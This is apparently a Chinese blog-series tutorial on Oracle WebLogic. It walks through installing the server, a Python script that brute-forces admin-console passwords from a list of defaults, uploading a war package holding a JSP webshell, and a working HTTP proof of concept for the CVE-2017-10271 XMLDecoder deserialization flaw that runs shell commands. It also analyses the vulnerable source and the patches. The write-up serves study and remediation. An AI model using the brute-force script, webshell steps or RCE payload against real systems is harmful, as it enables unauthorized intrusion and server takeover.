[TOC]
一、 WebLogic安装
0. 概述
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,webLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
1. 下载安装Java环境
WebLogic需要安装Java环境,JDK下载地址http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
wget http://download.oracle.com/otn-pub/java/jdk/8u161-b12/2f38c3b165be4555a1fa6e98c45e0808/jdk-8u161-linux-x64.rpm
mkdir -p /usr/java/
mv jdk-8u161-linux-x64.rpm /usr/java/
rpm -ivh jdk-8u161-linux-x64.rpm
//添加环境变量
vim /etc/profile
//在最后加入
export JAVA_HOME=/usr/java/jdk1.8.0_161
export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export PATH=$PATH:$JAVA_HOME/bin
//安装成功后
[root@CentOS-6 bin]# echo $JAVA_HOME
/usr/java/jdk1.8.0_161
[root@CentOS-6 bin]# java -version
java version "1.8.0_161"
Java(TM) SE Runtime Environment (build 1.8.0_161-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.161-b12, mixed mode)
[root@CentOS-6 bin]#
2. 下载安装WebLogic
wget http://download.oracle.com/otn/nt/middleware/11g/wls/1036/wls1036_generic.jar
//创建用户和组
groupadd weblogic #创建weblogic组
useradd -g weblogic weblogic #创建weblogic用户
password weblogic #创建weblogic密码
java -jar wls1036_generic.jar
按照提示完成WebLogic安装,安装完成后配置domain,然后再在`/root/Oracle/Middleware/user_projects/domains/weblogic/bin`中启动weblogic
`./startWebLogic.sh`
如果出现如下错误
java.lang.AssertionError: Could not obtain the localhost address. The most likely cause is an error in the network configuration of this machine.
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:38)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
at weblogic.server.channels.ChannelService.start(ChannelService.java:207)
Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: CentOS-6.5-mini: Name or service not known
at java.net.InetAddress.getLocalHost(InetAddress.java:1505)
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
at weblogic.server.channels.AddressUtils$AddressMaker.<clinit>(AddressUtils.java:33)
at weblogic.server.channels.AddressUtils.getIPAny(AddressUtils.java:154)
at weblogic.protocol.configuration.ChannelHelper.checkConsistency(ChannelHelper.java:61)
Truncated. see log file for complete stacktrace
Caused By: java.net.UnknownHostException: CentOS-6.5-mini: Name or service not known
at java.net.Inet6AddressImpl.lookupAllHostAddr(Native Method)
at java.net.InetAddress$2.lookupAllHostAddr(InetAddress.java:928)
at java.net.InetAddress.getAddressesFromNameService(InetAddress.java:1323)
at java.net.InetAddress.getLocalHost(InetAddress.java:1500)
at weblogic.server.channels.AddressUtils$AddressMaker.getLocalHost(AddressUtils.java:36)
Truncated. see log file for complete stacktrace
>
则修改hosts文件
vim /etc/hosts
添加
127.0.0.1 your hostname //your host 可以在终端输入hostname查看
然后浏览器访问http://your-ip:7001/console/
查看。出现登陆界面则安装成功。
http://192.168.1.128:7001/wls-wsat/CoordinatorPortType
二、 weblogic弱口令
weblogic常用弱口令https://cirt.net/passwords?criteria=weblogic
后台登陆地址: http://192.168.136.130:7001/console/login/LoginForm.jsp
0. 思路
登陆weblogic后台看到后台地址登陆并无限制,因此可以尝试写脚本进行爆破。
在登陆页面随便输入一个用户名密码,利用network查看提交情况
可以看到,点击提交按钮后,浏览器向http://192.168.136.130:7001/console/j_security_check地址POST提交了这个表单
j_username: web
j_password: logic
j_character_encoding: UTF-8
当提交错误时,重新返回登陆页面的地址,
正确时,则返回新的地址
根据这个思路即可以编写爆破脚本。
1. python爆破脚本
完整脚本git地址https://github.com/b4zinga/Explib/blob/master/weblogic.py
关键代码:
def weakPasswd(self):
"""weak password"""
pwddict = ['WebLogic', 'weblogic', 'Oracle@123', 'password', 'system', 'Administrator', 'admin', 'security', 'joe', 'wlcsystem', 'wlpisystem']
for user in pwddict:
for pwd in pwddict:
data = {
'j_username':user,
'j_password':pwd,
'j_character_encoding':'UTF-8'
}
req = requests.post(self.url+':7001/console/j_security_check', data=data, allow_redirects=False, verify=False)
if req.status_code == 302 and 'console' in req.text and 'LoginForm.jsp' not in req.text:
print('[+] WebLogic username: '+user+' password: '+pwd)
return True
return False
2. 技巧
python的requests模块在post或get提交数据时,如果返回信息中含302,则requests会默认跟随跳转,这里跳转之后不容易 判断,所以给requests添加allow_redirects=False
参数,指定requests不跟随跳转。
三、 weblogic 后台提权
0. 思路分析
因为weblogic是一个基于JavaEE的中间件,所以可以解析jsp代码,那么,当我们知道后台密码之后,即可登陆weblogic后台,上传恶意war包,从而进行提权等操作。
1. 利用过程
登陆weblogic后台 http://192.168.136.130:7001/console ,点击左侧的部署,在弹出来的右侧页面点击“安装”
在安装页面选择“上载文件”:
在 “将部署上载到管理服务器” 区域选择"浏览",然后按照提示(其实就是一直下一步就行,最后点保存),将打包好的包含大马的war包上传至服务器。
包含大马的war包制作方法:
jar -cvf test.war ./test/*
将test目录打包为test.war
上传成功后即可访问大马 http://192.168.136.130:7001/test/jsp马.jsp
查看上传结果(需要注意的是,安装之后应该启动才能访问到该应用)
2. 提示和技巧
- 通过上述步骤上传的木马默认是保存在
/root/Oracle/Middleware/user_projects/domains/weblogic/servers/AdminServer/upload
- war包制作方法
jar -cvf test.war ./test/*
一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html
二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html
三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html
四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)
影响版本:
Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本
0. 漏洞分析
通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在<ns2:frame />标签中:
从调用栈可以明确的看到源码中weblogic调用函数的过程:
processRequest
>readHeaderOld
>receive
>receiveRequest
>receiveRequest
>readEntry
>readUTF
我们发送的poc经过这部分处理,就到了<ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>
中。
processRequest函数源码为:
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if(var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if(var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
if(var4 != null) {
this.readHeader(var4);
}
}
WorkAreaConstants.WORK_AREA_HEADER:
public interface WorkAreaConstants{
String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
String WORK_PREFIX = "work";
String XML_TAG_WORK_CONTEXT = "WorkContext";
String XML_TAG = "work:WorkContext";
QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}
readHeaderOld源码:
protected void readHeaderOld(Header var1) {
try {
XMLStreamReader var2 = var1.readHeader();
var2.nextTag();
var2.nextTag();
XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
ByteArrayOutputStream var4 = new ByteArrayOutputStream();
XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
var3.bridge(var2, var5);
var5.close();
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
} catch (XMLStreamException var7) {
throw new WebServiceException(var7);
} catch (IOException var8) {
throw new WebServiceException(var8);
}
}
其中:
ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组
ByteArrayInputStream: 将字节数组转化为输入流
上述过程中,var4会被赋予Poc中java标签内的代码,即:
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4z</string>
</void>
</array>
<void method="start"/></void>
</java>
WorkContextXmlInputAdapter代码:
public WorkContextXmlInputAdapter(InputStream var1){
this.xmlDecoder = new XMLDecoder(var1);
}
可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。
1. 利用过程
poc如下:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>id > /tmp/b4</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py
2. 修复建议
- 安装补丁
四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()
public WorkContextXmlInputAdapter(InputStream is) {
ByteArrayOutputStream baos = new ByteArrayOutputStream(); try
{ int next = 0;
next = is.read(); while (next != -1)
{
baos.write(next);
next = is.read();
}
} catch (Exception e)
{ throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray())); this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory(); try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{ public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException { if (qName.equalsIgnoreCase("object")) { throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (SAXException e)
{ throw new IllegalStateException("Parser Exception", e);
} catch (IOException e)
{ throw new IllegalStateException("Parser Exception", e);
}
}
其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。
10271补丁:
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
本次限制了object,new, method, void,array
等关键字段,这样就不能生成Java实例,所以不能执行命令。
-
删除WLS-WebServices组件
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war Middleware/wlserver_10.3/server/lib/wls-wsat.war